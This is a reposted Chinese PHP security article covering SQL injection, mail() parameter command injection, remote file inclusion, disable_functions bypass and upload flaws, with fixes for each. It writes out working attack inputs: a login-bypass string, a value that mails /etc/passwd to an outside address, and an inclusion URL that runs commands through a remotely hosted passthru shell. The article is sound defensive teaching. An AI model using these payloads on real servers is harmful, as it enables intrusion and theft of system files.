php安全之狗尾续貂(转)

安全

原创:san(小许)
来源:http://www.xfocus.org

A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
之狗尾续貂

by san@netguard.com.cn

Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒,
考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题。本文侧重于解决问题,而不是
攻击。

1、古老的欺骗SQL语句
在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on。
这样所有从GET/POST/Cookie来的变量的单引号(')、双引号(")、反斜杠backslash(\)以及空字元NUL
(the null byte)都会被加上反斜杠,以使数据库能够正确查询。
但是在php-4-RC2的时候引入了一个配置文件php.ini-optimized,这个优化的php.ini却是
magic_quotes_gpc=off的。某些网管看到optimized字样也许就会把php.ini-optimized拷到
/usr/local/lib/php.ini,这时就比较危险。象比较简单的验证,假设没有过滤必要的字符:
select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'
我们就可以在用户框和密码框输入1‘ or 1='1通过验证了。这是非常古董的方法了,这个语句会
替换成这样:
select * from login where user='1' or 1='1' and pass='1' or 1='1'
因为or 1='1'成立,所以通过了。
解决的办法最好就是过滤所有不必要的字符,还有就是推荐对于从GET/POST/Cookie来的并且用在SQL
中的变量加一个自定义的函数:
function gpc2sql($str) {
    if(get_magic_quotes_gpc()==1)
        return $str;
    else
        return addslashes($str);
}
主要是为了你的程序能安全移植在各种系统里。

2、mail函数的第五个参数
在php-4.0.5的时候,mail函数引入了第五个参数,用来设置在实际发送邮件的时候增加额外的命令行参数,
但是没有很好的检查特殊SHELL命令字符,所以出现执行命令的大问题。就像手册里的例子:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
这个是存在问题的,如果$SERVER_NAME=;mail san@xfocus.org < /etc/passwd就能把机器的密码发送
到我的信箱了。
这里提醒一下,php手册里还有好几个例子存在安全问题的,大家实际使用的时候不要照搬,它只是演示函数的
基本功能,理解了就可以了。
对于mail函数的这个问题,最简单的我们就不用这个第五个参数,要使用就过滤非法的字符如(;),还有就是修改
php源码包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:
extra_cmd=NULL
然后重新编译。

3、UNIX版的require, include函数
win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。
require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。
我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,
而且有时用变量作为参数,比如:include("$something"); 如果这时用户能控制$something参数,而这个
参数又没有过滤,那就惨拉。
首先可以看任何web用户有读权限的文件,假设这个程序叫http://victim/test.php,这样我们就可以用如下
url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。
另外可以利用其远程文件包含的功能执行命令。比如我在www.xfocus.org下建立一个文件test.php,内容是:
<?passthru($cmd)?>,那么我就可以用如下的url:
http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname这种方式运行任
意的命令。
phpMyAdmin也出现了这个问题,我们可以用它看任何我们想看的文件。但是它在include前,先用file_exist
函数判断文件是否存在,而这个file_exist是不支持远程文件的,所以上面第二种办法无法直接使用。但是我们
可以利用apache的日志功能,请求一个带php代码的url,这样,something指定为apache的日志也可以执行命
令了,但是apache的日志通常比较大,有太多杂乱信息。
http://www.securereality.com.au/sradv00008.txt提到的办法比较巧妙,用file upload的方式把本地
的执行命令的脚本上传,会在服务器的文件上传临时目录里产生php8Ta02I之类的文件名,由于这时文件是存在的
,所以能通过file_exist函数,从而执行上传文件里的执行脚本。

所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能
让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用
disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off来关闭。

4、disable_function
在php-4.0.1,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。
比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候
只会提示Warning: system() has been disabled for security reasons.
唉,但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令:
<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>
这个只有设成safe_mode才能避免,可是可恶的safe_mode实在是限制太多了,做其它事情也有些碍手碍脚。

5、file upload
php文件上传的问题在文章http://www.securereality.com.au/sradv00001.html里已经描述的很清楚了,
这的确是个比较严重的问题,一般我们要上传的文件也会放在web目录,所以容易给攻击者得到系统的一些web用户
能读的文件。
幸亏在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数。所以php-4.0.3以上的上传文
件的程序一定不要再用copy函数了,用move_uploaded_file代替,它会检查是否是上传的文件。如果是php-4.0.2
及以下的,建议在copy前加一个函数:
function is_uploaded_file($filename) {
    if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {
        $tmp_file = dirname(tempnam('', ''));
    }
    $tmp_file.='/'.basename($filename);
    /* User might have trailing slash in php.ini... */
    return (ereg_replace('/+', '/', $tmp_file) == $filename);
}

这个漏洞在安全焦点呆了很久,只是在copy之前有很多验证阿、判断阿的语句,所以使之攻击存在相当的难度,赫赫。

还有,千万不要以环境变量、Cookie变量、session变量等作为关系生死的判断条件,因为这些变量太容易被伪造了。
呵呵,手头事情比较多,其它慢慢想到了再加吧,也欢迎其他同志任意的添加修改之。

参考文献
1、PHP 4 ChangeLog (http://www.php.net/ChangeLog-4.php)
2、A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
   (http://www.securereality.com.au/studyinscarlet.txt)及analysist的翻译。
3、Remote command execution vulnerabilities in phpMyAdmin and phpPgAdmin
   (http://www.securereality.com.au/sradv00008.txt)  

时间: 2024-08-03 00:11:10

php安全之狗尾续貂(转)的相关文章

php安全之狗尾续貂

安全 Shaun Clowes的文章Exploiting Common Vulnerabilities in PHP Applications的确写的很棒, 考虑到了很多方面,我这个文章只是狗尾续貂,补充一些其它没怎么提到的问题.本文侧重于解决问题,而不是 攻击. 1.古老的欺骗SQL语句 在默认模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php还是打开magic_quotes_gpc=on. 这样所有从GET/POST/Cookie来的变量的单引号(

站长也可以学学宋祖德不要脸的推广炒作技巧

技巧|推广|站长 宋祖德无才无德,但是也能把这个娱乐至死的浮躁的娱乐时代闹的沸沸扬扬,个人也因此迅速成名,即使是被所有的电视台和封杀,即使被所有的同行所不齿,但是他也获得了另外的成功,至少网络上还有一堆一堆的追求者.如果你不知道宋祖德可以baidu 搜索it.  这也从另外一个方面给了个人站长更多的启示,为什么我们不能学学,在这个要流量不要脸的网络世界.学学他也能迅速走红,说不定还能挂上一个张x或某xx姐姐的的意外收获.  下面就具体谈谈如何学宋祖德.他其实是一本网络推广和炒作的教科书,目前已经

用户需求分析的常用方法大全

未来影响seo最大的因素是什么?用户需求分析.现在用户需求和用户体验的话题其实已经很多人在讨论的话题了,但是像seo排名一样,现在仍旧没有好的体系,基本还处于混乱的状态,大家都知道用户需求很重要,却怎么也找不到怎么入手处理.以下是焦大做的一些小分享,希望对您有所帮助. no1,搜索行为与用户真实需求 想做用户需求分析,第一步就是找到用户的真实需求是什么,而这个的关键是受众,只要深刻了解了受众是什么,我们才能接着了解其核心的需求.举个我自己新浪博客seo培训联盟的例子,因为有些人不理解为何我敢说我

产品设计:有计划有步骤的推出自己的产品

文章描述:产品设计原则之四:有计划有步骤推出您的产品. 在本周一,我就自己的观点,写了本系列的第三篇<产品设计原则之三:完善以后再上线>收到很多人的关注,好坏参半.说好的,我表示十分感谢认同,拍砖的理由也很充分:产品上线需要有时间计划,不能为了所谓的完善,就一直延期吧:另外做外包或者软件定制开发的朋友也很不满,客户有时间要求啊,到时间了东西不上线,搞不好会违约的. 其实这两点我在原则三中也说过:首先完善是相对的,我没说等完美以后在上线,我所谓的完善,既不是指的功能上大而全的完善,也不是只得质量

作为站长必须知道的33件事

这是一篇老文章了,因为经典,所以拿出来给新手老手再次学习.         做一个中国站长,如果以下33个问题,你不知道,你会很吃亏的,也有可能你是一个倒霉的站长. 1. 做站长 可以不知道asp php c++ net 但是不能不知道html语言.如果不知道一个星期搞定他.连html都不知道,以后链接怎么做,技术偷偷糊弄你几下都不知道. 2.做站长,一定要知道国内的小代理信不过,如果域名你是在小代理那里注册,估计等你做大了,想转移都难,很多网站做到一半,发现代理跑了,消失了. 3.必须知道顶级

一个中国站长必须知道的50件事

做一个中国站长,如果以下50个问题,你不知道,你会很吃亏的,也有可能你是一个倒霉的站长. 五十个问题,有四十个你能做到,那你才是及格的站长,这是50个站长起码知道通晓的问题. 1. 做站长 可以不知道asp php c++ net 但是不能不知道html语言.如果不知道一个星期搞定他.连html都不知道,以后链接怎么做,技术偷偷糊弄你几下都不知道. 2.做站长,一定要知道国内的小代理信不过,如果域名你是在小代理那里注册,估计等你做大了,想转移都难,很多网站做到一半,发现代理跑了,消失了. 3.必

做一个中国式站长必须知道的五十个问题

做一个中国站长,如果以下50个问题,你不知道,你会很吃亏的,也有可能你是一个倒霉的站长. 五十个问题,有四十个你能做到,那你才是及格的站长,这是50个站长起码知道通晓的问题. 1. 做站长 可以不知道asp php c++ net 但是不能不知道html语言.如果不知道一个星期搞定他.连html都不知道,以后链接怎么做,技术偷偷糊弄你几下都不知道. 2.做站长,一定要知道国内的小代理信不过,如果域名你是在小代理那里注册,估计等你做大了,想转移都难,很多网站做到一半,发现代理跑了,消失了. 3.必

ASP.NET Forums 页面模型分析

asp.net|页面 ASP.NET 提供两个用于管理可视元素和代码的模型,即单文件页模型和代码隐藏页模型.具体内容可以参考MSDN(ms-help://MS.MSDNQTR.v80.chs/MS.MSDN.v80/MS.VisualStudio.v80.chs/dv_aspnetcon/html/81b13e7a-b95b-4285-906f-d2dd77411417.htm). 在ASP.NET Forums的页面中使用了代码隐藏页模型,但是与典型的代码隐藏页模型又稍有区别. Default

从百度竞价排名谈百度搜索的用户体验

身处在中国如今的互联网环境中,众多的SEOer都可谓苦不堪言,一家独大的模式让许多依赖搜索引擎的网站只有选择百度,网站从设计到规划到内容部署都严格按照百度的要求来做,就形成了大部分网站的风格雷同,网站内容神似的现象,以往的"百度一下,你就知道"现在则变成了"百度一下,你也不知道". 今天,笔者就要谈谈百度到底是在跟站长玩还是在跟用户玩,它的用户体验真的就像自己声明的那样越来越好吗? 因为临近十一,恰好笔者所处的武汉又出台新政策,法定节假日高速过路不收费.自然而然,武